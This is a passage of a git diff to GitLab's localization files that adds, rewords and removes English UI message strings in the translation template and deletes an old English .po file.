msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/en/gitlab.po b/locale/en/gitlab.po
deleted file mode 100644
index 4c7435ebfcb..00000000000
--- a/locale/en/gitlab.po
+++ /dev/null
@@ -1,1225 +0,0 @@
-# English translations for gitlab package.
-# Copyright (C) 2017 THE PACKAGE'S COPYRIGHT HOLDER
-# This file is distributed under the same license as the gitlab package.
-# FIRST AUTHOR <EMAIL@ADDRESS>, 2017.
-#
-msgid ""
-msgstr ""
-"Project-Id-Version: gitlab 1.0.0\n"
-"Report-Msgid-Bugs-To: \n"
-"PO-Revision-Date: 2017-04-12 22:36-0500\n"
-"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
-"Language-Team: English\n"
-"Language: en\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"\n"
-
-msgid "%d commit"
-msgid_plural "%d commits"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%s additional commit has been omitted to prevent performance issues."
-msgid_plural "%s additional commits have been omitted to prevent performance issues."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{commit_author_link} committed %{commit_timeago}"
-msgstr ""
-
-msgid "%{number_of_failures} of %{maximum_failures} failures. GitLab will allow access on the next attempt."
-msgstr ""
-
-msgid "%{number_of_failures} of %{maximum_failures} failures. GitLab will block access for %{number_of_seconds} seconds."
-msgstr ""
-
-msgid "%{number_of_failures} of %{maximum_failures} failures. GitLab will not retry automatically. Reset storage information when the problem is resolved."
-msgstr ""
-
-msgid "%{storage_name}: failed storage access attempt on host:"
-msgid_plural "%{storage_name}: %{failed_attempts} failed storage access attempts:"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "(checkout the %{link} for information on how to install it)."
-msgstr ""
-
-msgid "1 pipeline"
-msgid_plural "%d pipelines"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "About auto deploy"
-msgstr ""
-
-msgid "Access to failing storages has been temporarily disabled to allow the mount to recover. Reset storage information after the issue has been resolved to allow access again."
-msgstr ""
-
-msgid "Active"
-msgstr ""
-
-msgid "Activity"
-msgstr ""
-
-msgid "Add Changelog"
-msgstr ""
-
-msgid "Add Contribution guide"
-msgstr ""
-
-msgid "Add License"
-msgstr ""
-
-msgid "Add an SSH key to your profile to pull or push via SSH."
-msgstr ""
-
-msgid "Add new directory"
-msgstr ""
-
-msgid "Archived project! Repository is read-only"
-msgstr ""
-
-msgid "Are you sure you want to delete this pipeline schedule?"
-msgstr ""
-
-msgid "Are you sure you want to discard your changes?"
-msgstr ""
-
-msgid "Are you sure you want to reset registration token?"
-msgstr ""
-
-msgid "Are you sure you want to reset the health check token?"
-msgstr ""
-
-msgid "Are you sure?"
-msgstr ""
-
-msgid "Attach a file by drag &amp; drop or %{upload_link}"
-msgstr ""
-
-msgid "Branch"
-msgid_plural "Branches"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr ""
-
-msgid "BranchSwitcherPlaceholder|Search branches"
-msgstr ""
-
-msgid "BranchSwitcherTitle|Switch branch"
-msgstr ""
-
-msgid "Branches"
-msgstr ""
-
-msgid "Browse Directory"
-msgstr ""
-
-msgid "Browse File"
-msgstr ""
-
-msgid "Browse Files"
-msgstr ""
-
-msgid "Browse files"
-msgstr ""
-
-msgid "ByAuthor|by"
-msgstr ""
-
-msgid "CI configuration"
-msgstr ""
-
-msgid "Cancel"
-msgstr ""
-
-msgid "Cancel edit"
-msgstr ""
-
-msgid "ChangeTypeActionLabel|Pick into branch"
-msgstr ""
-
-msgid "ChangeTypeActionLabel|Revert in branch"
-msgstr ""
-
-msgid "ChangeTypeAction|Cherry-pick"
-msgstr ""
-
-msgid "ChangeTypeAction|Revert"
-msgstr ""
-
-msgid "Changelog"
-msgstr ""
-
-msgid "Charts"
-msgstr ""
-
-msgid "Cherry-pick this commit"
-msgstr ""
-
-msgid "Cherry-pick this merge request"
-msgstr ""
-
-msgid "CiStatusLabel|canceled"
-msgstr ""
-
-msgid "CiStatusLabel|created"
-msgstr ""
-
-msgid "CiStatusLabel|failed"
-msgstr ""
-
-msgid "CiStatusLabel|manual action"
-msgstr ""
-
-msgid "CiStatusLabel|passed"
-msgstr ""
-
-msgid "CiStatusLabel|passed with warnings"
-msgstr ""
-
-msgid "CiStatusLabel|pending"
-msgstr ""
-
-msgid "CiStatusLabel|skipped"
-msgstr ""
-
-msgid "CiStatusLabel|waiting for manual action"
-msgstr ""
-
-msgid "CiStatusText|blocked"
-msgstr ""
-
-msgid "CiStatusText|canceled"
-msgstr ""
-
-msgid "CiStatusText|created"
-msgstr ""
-
-msgid "CiStatusText|failed"
-msgstr ""
-
-msgid "CiStatusText|manual"
-msgstr ""
-
-msgid "CiStatusText|passed"
-msgstr ""
-
-msgid "CiStatusText|pending"
-msgstr ""
-
-msgid "CiStatusText|skipped"
-msgstr ""
-
-msgid "CiStatus|running"
-msgstr ""
-
-msgid "Commit"
-msgid_plural "Commits"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Commit duration in minutes for last 30 commits"
-msgstr ""
-
-msgid "Commit message"
-msgstr ""
-
-msgid "CommitBoxTitle|Commit"
-msgstr ""
-
-msgid "CommitMessage|Add %{file_name}"
-msgstr ""
-
-msgid "Commits"
-msgstr ""
-
-msgid "Commits feed"
-msgstr ""
-
-msgid "Commits|History"
-msgstr ""
-
-msgid "Committed by"
-msgstr ""
-
-msgid "Compare"
-msgstr ""
-
-msgid "Contribution guide"
-msgstr ""
-
-msgid "Contributors"
-msgstr ""
-
-msgid "Copy URL to clipboard"
-msgstr ""
-
-msgid "Copy commit SHA to clipboard"
-msgstr ""
-
-msgid "Create New Directory"
-msgstr ""
-
-msgid "Create a new branch"
-msgstr ""
-
-msgid "Create a personal access token on your account to pull or push via %{protocol}."
-msgstr ""
-
-msgid "Create directory"
-msgstr ""
-
-msgid "Create empty bare repository"
-msgstr ""
-
-msgid "Create merge request"
-msgstr ""
-
-msgid "Create new..."
-msgstr ""
-
-msgid "CreateNewFork|Fork"
-msgstr ""
-
-msgid "CreateTag|Tag"
-msgstr ""
-
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
-msgid "Cron Timezone"
-msgstr ""
-
-msgid "Cron syntax"
-msgstr ""
-
-msgid "Custom notification events"
-msgstr ""
-
-msgid "Custom notification levels are the same as participating levels. With custom notification levels you will also receive notifications for select events. To find out more, check out %{notification_link}."
-msgstr ""
-
-msgid "CycleAnalyticsStage|Code"
-msgstr ""
-
-msgid "CycleAnalyticsStage|Issue"
-msgstr ""
-
-msgid "CycleAnalyticsStage|Plan"
-msgstr ""
-
-msgid "CycleAnalyticsStage|Production"
-msgstr ""
-
-msgid "CycleAnalyticsStage|Review"
-msgstr ""
-
-msgid "CycleAnalyticsStage|Staging"
-msgstr ""
-
-msgid "CycleAnalyticsStage|Test"
-msgstr ""
-
-msgid "Define a custom pattern with cron syntax"
-msgstr ""
-
-msgid "Delete"
-msgstr ""
-
-msgid "Deploy"
-msgid_plural "Deploys"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Description"
-msgstr ""
-
-msgid "Details"
-msgstr ""
-
-msgid "Directory name"
-msgstr ""
-
-msgid "Discard changes"
-msgstr ""
-
-msgid "Don't show again"
-msgstr ""
-
-msgid "Download"
-msgstr ""
-
-msgid "Download tar"
-msgstr ""
-
-msgid "Download tar.bz2"
-msgstr ""
-
-msgid "Download tar.gz"
-msgstr ""
-
-msgid "Download zip"
-msgstr ""
-
-msgid "DownloadArtifacts|Download"
-msgstr ""
-
-msgid "DownloadCommit|Email Patches"
-msgstr ""
-
-msgid "DownloadCommit|Plain Diff"
-msgstr ""
-
-msgid "DownloadSource|Download"
-msgstr ""
-
-msgid "Edit"
-msgstr ""
-
-msgid "Edit Pipeline Schedule %{id}"
-msgstr ""
-
-msgid "Every day (at 4:00am)"
-msgstr ""
-
-msgid "Every month (on the 1st at 4:00am)"
-msgstr ""
-
-msgid "Every week (Sundays at 4:00am)"
-msgstr ""
-
-msgid "Failed to change the owner"
-msgstr ""
-
-msgid "Failed to remove the pipeline schedule"
-msgstr ""
-
-msgid "Files"
-msgstr ""
-
-msgid "Filter by commit message"
-msgstr ""
-
-msgid "Find by path"
-msgstr ""
-
-msgid "Find file"
-msgstr ""
-
-msgid "FirstPushedBy|First"
-msgstr ""
-
-msgid "FirstPushedBy|pushed by"
-msgstr ""
-
-msgid "Fork"
-msgid_plural "Forks"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "ForkedFromProjectPath|Forked from"
-msgstr ""
-
-msgid "From issue creation until deploy to production"
-msgstr ""
-
-msgid "From merge request merge until deploy to production"
-msgstr ""
-
-msgid "Git storage health information has been reset"
-msgstr ""
-
-msgid "GitLab Runner section"
-msgstr ""
-
-msgid "Go to your fork"
-msgstr ""
-
-msgid "GoToYourFork|Fork"
-msgstr ""
-
-msgid "Health Check"
-msgstr ""
-
-msgid "Health information can be retrieved from the following endpoints. More information is available"
-msgstr ""
-
-msgid "HealthCheck|Access token is"
-msgstr ""
-
-msgid "HealthCheck|Healthy"
-msgstr ""
-
-msgid "HealthCheck|No Health Problems Detected"
-msgstr ""
-
-msgid "HealthCheck|Unhealthy"
-msgstr ""
-
-msgid "Home"
-msgstr ""
-
-msgid "Housekeeping successfully started"
-msgstr ""
-
-msgid "Import repository"
-msgstr ""
-
-msgid "Install a Runner compatible with GitLab CI"
-msgstr ""
-
-msgid "Interval Pattern"
-msgstr ""
-
-msgid "Jobs for last month"
-msgstr ""
-
-msgid "Jobs for last week"
-msgstr ""
-
-msgid "Jobs for last year"
-msgstr ""
-
-msgid "LFSStatus|Disabled"
-msgstr ""
-
-msgid "LFSStatus|Enabled"
-msgstr ""
-
-msgid "Last %d day"
-msgid_plural "Last %d days"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Last Pipeline"
-msgstr ""
-
-msgid "Last Update"
-msgstr ""
-
-msgid "Last commit"
-msgstr ""
-
-msgid "Learn more in the"
-msgstr ""
-
-msgid "Learn more in the|pipeline schedules documentation"
-msgstr ""
-
-msgid "Leave group"
-msgstr ""
-
-msgid "Leave project"
-msgstr ""
-
-msgid "Limited to showing %d event at most"
-msgid_plural "Limited to showing %d events at most"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Median"
-msgstr ""
-
-msgid "MissingSSHKeyWarningLink|add an SSH key"
-msgstr ""
-
-msgid "More information is available|here"
-msgstr ""
-
-msgid "New Issue"
-msgid_plural "New Issues"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "New Pipeline Schedule"
-msgstr ""
-
-msgid "New branch"
-msgstr ""
-
-msgid "New directory"
-msgstr ""
-
-msgid "New file"
-msgstr ""
-
-msgid "New issue"
-msgstr ""
-
-msgid "New merge request"
-msgstr ""
-
-msgid "New schedule"
-msgstr ""
-
-msgid "New snippet"
-msgstr ""
-
-msgid "New tag"
-msgstr ""
-
-msgid "No repository"
-msgstr ""
-
-msgid "No schedules"
-msgstr ""
-
-msgid "Not available"
-msgstr ""
-
-msgid "Not enough data"
-msgstr ""
-
-msgid "Notification events"
-msgstr ""
-
-msgid "NotificationEvent|Close issue"
-msgstr ""
-
-msgid "NotificationEvent|Close merge request"
-msgstr ""
-
-msgid "NotificationEvent|Failed pipeline"
-msgstr ""
-
-msgid "NotificationEvent|Merge merge request"
-msgstr ""
-
-msgid "NotificationEvent|New issue"
-msgstr ""
-
-msgid "NotificationEvent|New merge request"
-msgstr ""
-
-msgid "NotificationEvent|New note"
-msgstr ""
-
-msgid "NotificationEvent|Reassign issue"
-msgstr ""
-
-msgid "NotificationEvent|Reassign merge request"
-msgstr ""
-
-msgid "NotificationEvent|Reopen issue"
-msgstr ""
-
-msgid "NotificationEvent|Successful pipeline"
-msgstr ""
-
-msgid "NotificationLevel|Custom"
-msgstr ""
-
-msgid "NotificationLevel|Disabled"
-msgstr ""
-
-msgid "NotificationLevel|Global"
-msgstr ""
-
-msgid "NotificationLevel|On mention"
-msgstr ""
-
-msgid "NotificationLevel|Participate"
-msgstr ""
-
-msgid "NotificationLevel|Watch"
-msgstr ""
-
-msgid "OfSearchInADropdown|Filter"
-msgstr ""
-
-msgid "OpenedNDaysAgo|Opened"
-msgstr ""
-
-msgid "Options"
-msgstr ""
-
-msgid "Owner"
-msgstr ""
-
-msgid "Pipeline"
-msgstr ""
-
-msgid "Pipeline Health"
-msgstr ""
-
-msgid "Pipeline Schedule"
-msgstr ""
-
-msgid "Pipeline Schedules"
-msgstr ""
-
-msgid "PipelineCharts|Failed:"
-msgstr ""
-
-msgid "PipelineCharts|Overall statistics"
-msgstr ""
-
-msgid "PipelineCharts|Success ratio:"
-msgstr ""
-
-msgid "PipelineCharts|Successful:"
-msgstr ""
-
-msgid "PipelineCharts|Total:"
-msgstr ""
-
-msgid "PipelineSchedules|Activated"
-msgstr ""
-
-msgid "PipelineSchedules|Active"
-msgstr ""
-
-msgid "PipelineSchedules|All"
-msgstr ""
-
-msgid "PipelineSchedules|Inactive"
-msgstr ""
-
-msgid "PipelineSchedules|Input variable key"
-msgstr ""
-
-msgid "PipelineSchedules|Input variable value"
-msgstr ""
-
-msgid "PipelineSchedules|Next Run"
-msgstr ""
-
-msgid "PipelineSchedules|None"
-msgstr ""
-
-msgid "PipelineSchedules|Provide a short description for this pipeline"
-msgstr ""
-
-msgid "PipelineSchedules|Remove variable row"
-msgstr ""
-
-msgid "PipelineSchedules|Take ownership"
-msgstr ""
-
-msgid "PipelineSchedules|Target"
-msgstr ""
-
-msgid "PipelineSchedules|Variables"
-msgstr ""
-
-msgid "PipelineSheduleIntervalPattern|Custom"
-msgstr ""
-
-msgid "Pipelines"
-msgstr ""
-
-msgid "Pipelines charts"
-msgstr ""
-
-msgid "Pipeline|all"
-msgstr ""
-
-msgid "Pipeline|success"
-msgstr ""
-
-msgid "Pipeline|with stage"
-msgstr ""
-
-msgid "Pipeline|with stages"
-msgstr ""
-
-msgid "Project '%{project_name}' queued for deletion."
-msgstr ""
-
-msgid "Project '%{project_name}' was successfully created."
-msgstr ""
-
-msgid "Project '%{project_name}' was successfully updated."
-msgstr ""
-
-msgid "Project '%{project_name}' will be deleted."
-msgstr ""
-
-msgid "Project access must be granted explicitly to each user."
-msgstr ""
-
-msgid "Project details"
-msgstr ""
-
-msgid "Project export could not be deleted."
-msgstr ""
-
-msgid "Project export has been deleted."
-msgstr ""
-
-msgid "Project export link has expired. Please generate a new export from your project settings."
-msgstr ""
-
-msgid "Project export started. A download link will be sent by email."
-msgstr ""
-
-msgid "Project home"
-msgstr ""
-
-msgid "ProjectFeature|Disabled"
-msgstr ""
-
-msgid "ProjectFeature|Everyone with access"
-msgstr ""
-
-msgid "ProjectFeature|Only team members"
-msgstr ""
-
-msgid "ProjectFileTree|Name"
-msgstr ""
-
-msgid "ProjectLastActivity|Never"
-msgstr ""
-
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
-msgid "ProjectNetworkGraph|Graph"
-msgstr ""
-
-msgid "Read more"
-msgstr ""
-
-msgid "Readme"
-msgstr ""
-
-msgid "RefSwitcher|Branches"
-msgstr ""
-
-msgid "RefSwitcher|Tags"
-msgstr ""
-
-msgid "Related Commits"
-msgstr ""
-
-msgid "Related Deployed Jobs"
-msgstr ""
-
-msgid "Related Issues"
-msgstr ""
-
-msgid "Related Jobs"
-msgstr ""
-
